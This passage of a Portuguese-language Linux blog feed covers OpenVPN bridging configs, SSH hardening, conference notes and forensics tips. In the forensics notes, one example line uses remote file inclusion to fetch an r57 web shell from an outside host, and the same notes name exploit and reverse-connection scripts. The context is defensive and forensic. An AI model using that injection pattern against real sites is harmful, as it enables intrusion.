<p>Porém, desta vez a necessidade era diferente. Eu precisava realmente estar dentro da rede servidora, pois de dentro da rede era possível o acesso à uma outra rede, no caso uma LP com o México. A lambança era mais ou menos assim:</p>
<p>Rede_Mexico   = 10.95.0.0/16<br />
Rede_Servidor = 10.10.10.0/24<br />
Rede_VPN = 10.8.0.0/24</p>
<p>Utilizando o device <strong>&#8220;tun&#8221;</strong> a rede VPN até chegava na rede do Servidor, porém, não chegava até a rede do México. Não duvido que seja possível de ser feito usando alguns roteamentos malucos, porém consegui resolver o problema apelando para bridges no Linux, usando o device <strong>&#8220;tap&#8221;</strong>.</p>
<p>O Carlos Morimoto havia postado um artigo chamado <a href="http://www.guiadohardware.net/tutoriais/openvpn_2/pagina6.html">Criando bridges no OpenVPN</a> do qual me foi muito útil, pois assim o OpenVPN conectava diretamente na rede 10.10.10.0/24 me enviando um IP que eu mesmo posso escolher via DHCP:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">server-bridge 10.10.10.200 255.255.255.0 10.10.10.210 10.10.10.220</pre></div></div>

<p>No exemplo acima, 10.10.10.200/24 será o IP do servidor, e 10.10.10.210 até 10.10.10.220 será o range oferecido aos clientes remotos que conectarem usando o OpenVPN.</p>
<p>Porém, para que tudo funcione a contento é necessário criar uma Bridge entre as interfaces eth0 e tap0, para que todo mundo se converse e se enxergue:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># brctl show</span>
bridge name	bridge <span style="color: #c20cb9; font-weight: bold;">id</span>		STP enabled	interfaces
br0		8000.00188be16805	no		eth0
							tap0</pre></div></div>

<p>Neste caso, o IP não ficará nem na eth0 e nem na tap0, mas sim na br0:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># ifconfig </span>
br0       Link encap:Ethernet  HWaddr 00:<span style="color: #000000;">28</span>:0b:ef:<span style="color: #000000;">58</span>:<span style="color: #000000;">75</span>  
          inet addr:10.10.10.2  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: fe80::<span style="color: #000000;">218</span>:8bff:fee1:<span style="color: #000000;">6805</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">64</span> Scope:Link</pre></div></div>

<p>Bom, chega de teoria. Os links acima possuem todo o background necessário para que você entenda a coisa passo-a-passo. Vamos logo para o que interessa: Os arquivos de configuração:</p>
<p>Arquivo openvpn.conf no servidor?</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># /etc/openvpn/openvpn.conf</span>
<span style="color: #666666; font-style: italic;"># Objetivo: Clientes remotos conectarem no mesmo range da LAN local sem roteamento</span>
proto udp
port <span style="color: #000000;">1194</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># bridge utiliza a interface &quot;tap&quot; em vez da &quot;tun&quot;</span>
<span style="color: #666666; font-style: italic;"># (o tap transmite pacotes de broadcast e o tun não)</span>
dev tap0
&nbsp;
<span style="color: #666666; font-style: italic;"># Faixa de IPs para os clientes</span>
server-bridge 10.10.10.200 255.255.255.0 10.10.10.210 10.10.10.220
&nbsp;
<span style="color: #666666; font-style: italic;"># No cliente eh necessário um</span>
<span style="color: #666666; font-style: italic;"># route add -net 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 tap0</span>
<span style="color: #666666; font-style: italic;"># para acessar a LP no Mexico 10.95.x.x</span>
push <span style="color: #ff0000;">&quot;route 10.95.0.0 255.255.0.0 10.10.10.1&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Compressão e persistência</span>
comp-lzo
keepalive <span style="color: #000000;">10</span> <span style="color: #000000;">120</span>
ifconfig-pool-persist <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>openvpn<span style="color: #000000; font-weight: bold;">/</span>ipp.txt
&nbsp;
<span style="color: #666666; font-style: italic;"># Certificados</span>
tls-server
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
&nbsp;
<span style="color: #666666; font-style: italic;"># Logs e etc</span>
status      <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>openvpn-status.log
log         <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>openvpn.log
log-append  <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>openvpn.log
verb <span style="color: #000000;">3</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Bridges para simular um mesmo switch entre a tap0 e a eth0</span>
up <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>openvpn<span style="color: #000000; font-weight: bold;">/</span>bridge-start
down <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>openvpn<span style="color: #000000; font-weight: bold;">/</span>bridge-stop</pre></div></div>

<p>Arquivo bridge-start:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;"># /etc/openvpn/bridge-start</span>
&nbsp;
<span style="color: #007800;">br</span>=<span style="color: #ff0000;">&quot;br0&quot;</span>
<span style="color: #007800;">tap</span>=<span style="color: #ff0000;">&quot;tap0&quot;</span>
<span style="color: #007800;">eth</span>=<span style="color: #ff0000;">&quot;eth0&quot;</span>
<span style="color: #007800;">eth_ip</span>=<span style="color: #ff0000;">&quot;10.10.10.2&quot;</span>
<span style="color: #007800;">eth_gw</span>=<span style="color: #ff0000;">&quot;10.10.10.1&quot;</span>
<span style="color: #007800;">eth_netmask</span>=<span style="color: #ff0000;">&quot;255.255.255.0&quot;</span>
<span style="color: #007800;">eth_broadcast</span>=<span style="color: #ff0000;">&quot;10.10.10.255&quot;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> t <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$tap</span>; <span style="color: #000000; font-weight: bold;">do</span>
openvpn <span style="color: #660033;">--mktun</span> <span style="color: #660033;">--dev</span> <span style="color: #007800;">$t</span>
<span style="color: #000000; font-weight: bold;">done</span>
&nbsp;
brctl addbr <span style="color: #007800;">$br</span>
brctl addif <span style="color: #007800;">$br</span> <span style="color: #007800;">$eth</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> t <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$tap</span>; <span style="color: #000000; font-weight: bold;">do</span>
brctl addif <span style="color: #007800;">$br</span> <span style="color: #007800;">$t</span>
<span style="color: #000000; font-weight: bold;">done</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> t <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$tap</span>; <span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #c20cb9; font-weight: bold;">ifconfig</span> <span style="color: #007800;">$t</span> 0.0.0.0 promisc up
<span style="color: #000000; font-weight: bold;">done</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">ifconfig</span> <span style="color: #007800;">$eth</span> 0.0.0.0 promisc up
<span style="color: #c20cb9; font-weight: bold;">ifconfig</span> <span style="color: #007800;">$br</span> <span style="color: #007800;">$eth_ip</span> netmask <span style="color: #007800;">$eth_netmask</span> broadcast <span style="color: #007800;">$eth_broadcast</span>
<span style="color: #666666; font-style: italic;">#route add default gw $eth_gw dev $br</span>
route add <span style="color: #660033;">-net</span> 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 br0
&nbsp;
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> tap0 <span style="color: #660033;">-j</span> ACCEPT
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> br0 <span style="color: #660033;">-j</span> ACCEPT
iptables <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-i</span> br0 <span style="color: #660033;">-j</span> ACCEPT</pre></div></div>

<p>Arquivo bridge-stop:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;"># /etc/openvpn/bridge-stop</span>
&nbsp;
<span style="color: #007800;">br</span>=<span style="color: #ff0000;">&quot;br0&quot;</span>
<span style="color: #007800;">tap</span>=<span style="color: #ff0000;">&quot;tap0&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">ifconfig</span> <span style="color: #007800;">$br</span> down
brctl delbr <span style="color: #007800;">$br</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> t <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$tap</span>; <span style="color: #000000; font-weight: bold;">do</span>
openvpn <span style="color: #660033;">--rmtun</span> <span style="color: #660033;">--dev</span> <span style="color: #007800;">$t</span>
<span style="color: #000000; font-weight: bold;">done</span> 
&nbsp;
route del <span style="color: #660033;">-net</span> 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 br0
ifdown eth0
ifup eth0
route add <span style="color: #660033;">-net</span> 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 eth0</pre></div></div>

<p>Arquivo no cliente:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Cliente pode ser Linux ou Windows</span>
remote 200.200.200.100
proto udp
port <span style="color: #000000;">1194</span>
client
pull
dev tap
comp-lzo
keepalive <span style="color: #000000;">10</span> <span style="color: #000000;">120</span>
tls-client
ca ca.crt
cert tiagocruz.crt
key tiagocruz.key
ns-cert-type server 
verb <span style="color: #000000;">3</span></pre></div></div>

<p>O resultado pode ser visto nos screnshoots abaixo:</p>
<p><img src="http://everlinux.com/blog/wp-content/uploads/2009/07/openvpn.png" alt="openvpn" title="openvpn" width="634" height="620" class="aligncenter size-full wp-image-537" /></p>
<p>Como você deve ter percebido, apenas alguns ajustes foram necessários nos scripts que iniciam e derrubam as bridges. A parte mais chata foi automatizar a criação de rotas estáticas nos clientes, para que não fosse necessário usar o &#8220;route add&#8221; em toda a conexão. A linha do &#8220;push&#8221; resolveu este problema, inclusive apontando a rota para um host que diferente do servidor de VPN, que é o padrão.</p>
<p>Segue uma screnshoot mostrando o antes, o durante e o depois do super device tap <img src='http://everlinux.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img src="http://everlinux.com/blog/wp-content/uploads/2009/07/openvpn-rotas.png" alt="openvpn-rotas" title="openvpn-rotas" width="647" height="531" class="aligncenter size-full wp-image-540" /></p>
<p>Nos testes foram utilizadas as versões OpenVPN 2.1_rc7 x86_64-pc-linux-gnu no servidor rodando Ubuntu 8.04.3 LTS e o cliente OpenVPN 2.1_rc11 i486-pc-linux-gnu em um Ubuntu 9.04.</p>
<p>Também foi possível conectar usando a <a href="http://openvpn.se/">GUI do OpenVPN</a> para Windows.</p>
<p>Abraços e até o próximo post! <img src='http://everlinux.com/blog/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://everlinux.com/blog/2009/07/18/openvpn-com-os-clientes-na-mesma-rede/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>SSH: Aumentando a segurança no acesso remoto</title>
		<link>http://everlinux.com/blog/2009/07/03/ssh-aumentando-a-seguranca-no-acesso-remoto</link>
		<comments>http://everlinux.com/blog/2009/07/03/ssh-aumentando-a-seguranca-no-acesso-remoto#comments</comments>
		<pubDate>Fri, 03 Jul 2009 03:27:29 +0000</pubDate>
		<dc:creator>Tiago Cruz</dc:creator>
				<category><![CDATA[Apresentação]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Unicid]]></category>

		<guid isPermaLink="false">http://everlinux.com/blog/?p=511</guid>
		<description><![CDATA[Segue uma apresentação que fizemos em este semestre na Pós-Graduação em Segurança da Informação, contendo temas como: - Sniffer de senhas em plain text; - Ataque de brute-force no SSH; - Proteção: Firewall, IPS e/ou TCP Wrappers; - Segurança básica no sshd_config; - Chaves RSA/DSA para acesso remoto; - SSH buscando chaves no LDAP; - [...]]]></description>
			<content:encoded><![CDATA[<p>Segue uma apresentação que fizemos em este semestre na Pós-Graduação em Segurança da Informação, contendo temas como:</p>
<p>- Sniffer de senhas em plain text;<br />
- Ataque de brute-force no SSH;<br />
- Proteção: Firewall, IPS e/ou TCP Wrappers;<br />
- Segurança básica no sshd_config;<br />
- Chaves RSA/DSA para acesso remoto;<br />
- SSH buscando chaves no LDAP;<br />
- Porque prevenir o acesso: Fork Bomb</p>
<p>Download do arquivo: <a href="http://everlinux.com/downloads/seguranca_acesso_remoto_ssh.pdf">seguranca_acesso_remoto_ssh.pdf</a><br />
Ou no Slide Share: <a href="http://www.slideshare.net/tiagodacruz/ssh-seguranca-no-acesso-remoto">ssh-seguranca-no-acesso-remoto</a></p>
]]></content:encoded>
			<wfw:commentRss>http://everlinux.com/blog/2009/07/03/ssh-aumentando-a-seguranca-no-acesso-remoto/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FISL 10 &#8211; Anotações</title>
		<link>http://everlinux.com/blog/2009/06/29/fisl-10-anotacoes</link>
		<comments>http://everlinux.com/blog/2009/06/29/fisl-10-anotacoes#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:47:40 +0000</pubDate>
		<dc:creator>Tiago Cruz</dc:creator>
				<category><![CDATA[FISL]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Nerd]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Forense]]></category>

		<guid isPermaLink="false">http://everlinux.com/blog/?p=490</guid>
		<description><![CDATA[Segue algumas anotações realizadas no FISL 10. Qualquer dia eu organizo isso melhor # Forense em Linux &#8211; http://eriberto.pro.br - Insert Linux Live CD Forense ~ 60 MB. - Usar Sleuthkit &#8211; http://www.sleuthkit.org/sleuthkit/ - Usar ls -lua e ls -lta para ver a data de modificação dos arquivos - Montar dump de imagem com &#8220;RO&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>Segue algumas anotações realizadas no FISL 10. Qualquer dia eu organizo isso melhor <img src='http://everlinux.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong># Forense em Linux &#8211; <a href="http://eriberto.pro.br">http://eriberto.pro.br</a></strong><br />
- Insert Linux Live CD Forense ~ 60 MB.<br />
- Usar Sleuthkit &#8211; http://www.sleuthkit.org/sleuthkit/<br />
- Usar ls -lua e ls -lta para ver a data de modificação dos arquivos<br />
- Montar dump de imagem com &#8220;RO&#8221; e nunca passar fsck<br />
- chkrootkit -r /forense<br />
- rkhunter -c -r /forense<br />
- freshclam; clamav -r /forense<br />
- Usar strings + grep por data (apache) ou comandos (rm) em dd de disco/mem<br />
- find /forense -mtime -2 => arquivos suspeitos alterados recentemente<br />
- fopen de URL no PHP pode permitir download de um arquivo para o /var/tmp<br />
- site.com/lalala?http://shellremota.com/r57.php<br />
- r57.php te dá uma shell remota (push com resposta 200 nos logs &#8211; OK)</p>
<p><em> The Sleuth Kit (previously known as TASK) is a collection of UNIX-based<br />
 command line file system and media management forensic analysis tools.<br />
 The file system tools allow you to examine file systems of a suspect<br />
 computer in a non-intrusive fashion. Because the tools do not rely on<br />
 the operating system to process the file systems, deleted and hidden<br />
 content is shown.</em></p>
<p><strong># KVM &#8211; glommer AT redhat.com</strong><br />
- Sw virtual?<br />
- GFS?<br />
- guestfish = disaster recovery en VM (editar menu.lst e etc)</p>
<p><strong># Varnish &#8211; Squid like globo.com</strong><br />
- Usar o webpoligraph para gerar stress stest/ analise de resultados</p>
<p><strong># Selinux &#8211; jczucco AT gmail.com</strong><br />
- <a href="http://jczucco.blogspot.com/ ">http://jczucco.blogspot.com/ </a>e <a href="http://ulissescastro.wordpress.com/">http://ulissescastro.wordpress.com/</a><br />
- type_t = template para apache, mysql e etc<br />
- setenforce 1; sestatus<br />
- exploit no phpmyadmin &#8211; phpmyadminrce.sh<br />
- backconnect &#8211; bc.pl para abrir conexão reversa</p>
<p><strong># Miguel Ciurcio Filho &#8211; <a href="http://www.ic.unicamp.br/~miguel">http://www.ic.unicamp.br/~miguel</a></strong><br />
- HELO com IP deve ser negado, embora tenha RFC dizendo o contrário<br />
- PTR e A register must match<br />
- smtpd_client_connection_rate_limit = 15<br />
- smtpd_client_connection_count_limit = 10<br />
- smtpd_client_message_rate_limit = 25<br />
- Usar somente a SpamHaus (best ever)<br />
- smtpd_hard_error_limit = 3<br />
- smtpd_soft_error_limit = 1<br />
- smtpd_error_sleep_time = 20s<br />
- FDQN com nome da máquina não vale</p>
<p><strong># DNS Curve &#8211; D.J. Bernstein</strong><br />
- High-Speed with Cryptography<br />
- Sourceforce uses nginex<br />
- Criptografia https difícil e lenta<br />
- Would massively overload servers<br />
- Confidentiality despite Espionage<br />
- Integrity despite Corruption<br />
- Availability despite Sabotage<br />
- Uses 4096 bit encryption / signatures<br />
- 50 bilion packet/day to 500 milion cliets with 2.4 Core 2 Quad<br />
- Total load on .com:<br />
- 38 bilion packet/day from 5 milion clients<br />
- Crypto per group not per query<br />
- DNSSEC uses 640-1024 bit RSA for fast signature verification<br />
- DNSSEC on *.sec2.br foi quebrado 23/26 domínios &#8220;protegidos&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://everlinux.com/blog/2009/06/29/fisl-10-anotacoes/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Análise de um servidor Linux comprometido</title>
		<link>http://everlinux.com/blog/2009/06/21/analise-de-um-servidor-linux-comprometido</link>
		<comments>http://everlinux.com/blog/2009/06/21/analise-de-um-servidor-linux-comprometido#comments</comments>
		<pubDate>Mon, 22 Jun 2009 01:12:51 +0000</pubDate>
		<dc:creator>Tiago Cruz</dc:creator>
				<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Forense]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://everlinux.com/blog/?p=476</guid>
		<description><![CDATA[Direto do Blog do Luciano Borguetti, uma excelente narrativa: &#8221; Possible t0rn v8 \(or variation\) rootkit installed &#8230; o que fazer quando descobrimos que um servidor GNU/Linux foi comprometido? Nesse post vou mostrar uma pequena análise de um servidor comprometido por uma rootkit.&#8221; Lembre-se: O Chkrootkit e o RKHunter são reativos (após a nhaca). Já [...]]]></description>
			<content:encoded><![CDATA[<p>Direto do <a href="http://lucianoborguetti.blogspot.com/2009/06/possible-t0rn-v8-or-variation-rootkit.html">Blog do Luciano Borguetti</a>, uma excelente narrativa:</p>
<p> <em>&#8221;<br />
Possible t0rn v8 \(or variation\) rootkit installed </p>
<p>&#8230; o que fazer quando descobrimos que um servidor GNU/Linux foi comprometido?<br />
 Nesse post vou mostrar uma pequena análise de um servidor comprometido por uma rootkit.&#8221;</em></p>
<p>Lembre-se: O <a href="http://www.chkrootkit.org/">Chkrootkit</a> e o <a href="http://rkhunter.sourceforge.net/">RKHunter</a> são reativos (após a nhaca).</p>
<p>Já o brasileiro <a href="http://www.ossec.net/">OSSEC</a> pode ser instalado antes da merda acontecer <img src='http://everlinux.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  </p>
<p><em>Complementando:</em></p>
<p>Caso o servidor já esteja comprometido, o ideal é copiar alguns binários de uma máquina sadia (<em>awk, cut, echo, egrep, find, head, id, ls, netstat, ps, strings, sed, uname</em>) para um CD/DVD/Pendrive e pedir para que o chkrookit use estes binários, visto que os resultados que a máquina gerar pode não ser verdadeiro.</p>
<p>Rodaria o chkrootkit mais ou menos assim:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># ./chkrootkit -p /cdrom/bin</span></pre></div></div>

<p>Ou então, usar um live-cd e alterar o rootdir:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># ./chkrootkit -r /mnt/sysrescue</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://everlinux.com/blog/2009/06/21/analise-de-um-servidor-linux-comprometido/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Computer Forensics / Incident Response</title>
		<link>http://everlinux.com/blog/2009/02/12/computer-forensics-incident-response</link>
		<comments>http://everlinux.com/blog/2009/02/12/computer-forensics-incident-response#comments</comments>
		<pubDate>Fri, 13 Feb 2009 02:16:54 +0000</pubDate>
		<dc:creator>Tiago Cruz</dc:creator>
				<category><![CDATA[Dicas]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Nerd]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Forense]]></category>
		<category><![CDATA[Unicid]]></category>

		<guid isPermaLink="false">http://www.everlinux.com/blog/?p=260</guid>
		<description><![CDATA[Desde no ano passado estou fazendo a minha pós-graduação em Segurança da Informação, pela UNIICD. Nas últimas semanas, tive o prazer de conhecer o Perito Domingo Montanaro, famoso hacker que virou bancário De suas aulas/ palestras, anotei uma série de coisas interessantes para compartilhar aqui no blog com vocês - O SleuthKit [1], que é [...]]]></description>
			<content:encoded><![CDATA[<p>Desde no ano passado estou fazendo a minha pós-graduação em <a href="http://www.unicid.br/cgi/cgilua.exe/sys/start.htm?sid=145">Segurança da Informação</a>, pela UNIICD.  Nas últimas semanas, tive o prazer de conhecer o Perito <a href="http://www.linkedin.com/pub/dir/domingo/montanaro">Domingo Montanaro</a>, famoso <a href="http://computerworld.uol.com.br/seguranca/2007/06/27/idgnoticia.2007-06-26.1842779169/">hacker que virou bancário</a> <img src='http://everlinux.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>De suas aulas/ palestras, anotei uma série de coisas interessantes para compartilhar aqui no blog com vocês <img src='http://everlinux.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>- O <a href="http://sleuthkit.org/sleuthkit/download.php">SleuthKit </a>[1], que é uma ferramenta OpenSource (roda em Windows e Linux) que é o equivalente do <a href="http://www.guidancesoftware.com/products/ef_index.asp">EnCase </a>[2] que custa mais ou menos U$ 20.000 a licença de uso.</p>
<p>- A <a href="http://www.ietf.org/rfc/rfc3227.txt">RFC 3227</a> [3] que fala sobre &#8220;Guidelines for Evidence Collection and Archiving&#8221;</p>
<p>- Usar somente o MD5 não é seguro, pois há casos em que dois arquivos diferentes podem ter o mesmo hash, e que o mesmo pode acontecer com o SHA&#8230; o recomendável é fazer o mesmo que ferramentas como o <a href="http://www.cs.tut.fi/~rammer/aide.html">AIDE </a>[4] (Advanced Intrusion Detection Environment) fazem: usar ambos para não termos problemas</p>
<p>- É sempre bom ativar os Logs de Auditoria noss Shared Directories mais críticos e/ou importantes &#8230;</p>
<p>- Que o <a href="http://www.wotsit.org/">WotsIt </a> [5] é um repositório sobre como funciona os arquivos que usamos no dia-a-dia, todos eles decifrados usando a engenharia reversa para facilitar a vida de novos programadores&#8230;</p>
<p>- Que logs são extremamente importantes, e que mante-los em uma máquina remota é uma ótima idéia, melhor ainda se ao invés de usar o syslog padrão do UNIX, usar o <a href="http://www.rsyslog.com/">rsyslog </a>[6] ou o systlog-ng que é capaz de usar pacotes TCP com criptografia (e ainda guardar as informações em banco de dados), ao invés de pacotes UDP que podem ser facilmente forjados&#8230;</p>
<p>- No firewall é importante diferenciar um DROP de um REJECT: O primeiro descarta o pacote silenciosamente, enquanto o segundo manda um aviso dizendo que o pacote não foi aceito&#8230;</p>
<p>- Que em bancos de dados muito grandes, é importante ter uma trigger que, por exemplo, emite um aviso/alerta/log/email quando alguma consulta utilizando 5000.000 linhas acontece, por exemplo (o que não não é normal);</p>
<p>- Que é possível fazer clones da memória RAM utilizando-se do <a href="http://dcfldd.sourceforge.net/">dcfldd </a>[7] (melhor do que o &#8216;dd&#8217; padrão para análise forense) e usar o <a href="http://4tphi.net/fatkit/">fatkit</a> (The Forensic Analysis ToolKit) [8] para a posterior análise da mesma;</p>
<p><code>ex: ./dcfldd if=/dev/mem of=/media/ram_clone bs=512 conv=noerror</code></p>
<p>- Que em um Sistemas de Arquivos FAT, um bit E5 Hexadecimal (é mais ou menos um underscore nosso) quer dizer que o arquivo foi deletado;</p>
<p>- Que o MFT é o equivalente da FAT (tabela de alocação de arquivos) do NTFS;</p>
<p>- Que o <a href="http://wipe.sourceforge.net/">WIPE </a>[9] é capaz de destruir até 99% dos dados do seu HD, minimizando a chance de recupera-los mesmo com ferramentas especializadas. Item obrigatório no descarte de um HD, por exemplo.</p>
<p>- Última dica: O <a href="http://www.e-fense.com/products.php">Helix </a>Linux é uma distribuição baseada no Knoppix (portanto, um live-CD) já preparado para análise forense com todas essas ferramentas citadas acima e <a href="http://linux.softpedia.com/get/System/Operating-Systems/Linux-Distributions/Helix-7873.shtml">ainda mais</a>!</p>
<p>Referências:</p>
<p>[1] http://sleuthkit.org/sleuthkit/download.php<br />
[2] http://www.guidancesoftware.com/products/ef_index.asp<br />
[3] http://www.ietf.org/rfc/rfc3227.txt<br />
[4] http://www.cs.tut.fi/~rammer/aide.html<br />
[5] http://www.wotsit.org/<br />
[6] http://www.rsyslog.com/<br />
[7] http://dcfldd.sourceforge.net/<br />
[8] http://4tphi.net/fatkit/<br />
[9] http://wipe.sourceforge.net/</p>
]]></content:encoded>
			<wfw:commentRss>http://everlinux.com/blog/2009/02/12/computer-forensics-incident-response/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  everlinux.com/blog/category/seguranca/feed ) in 1.53070 seconds, on Jul 30th, 2010 at 9:06 pm UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Jul 30th, 2010 at 10:06 pm UTC -->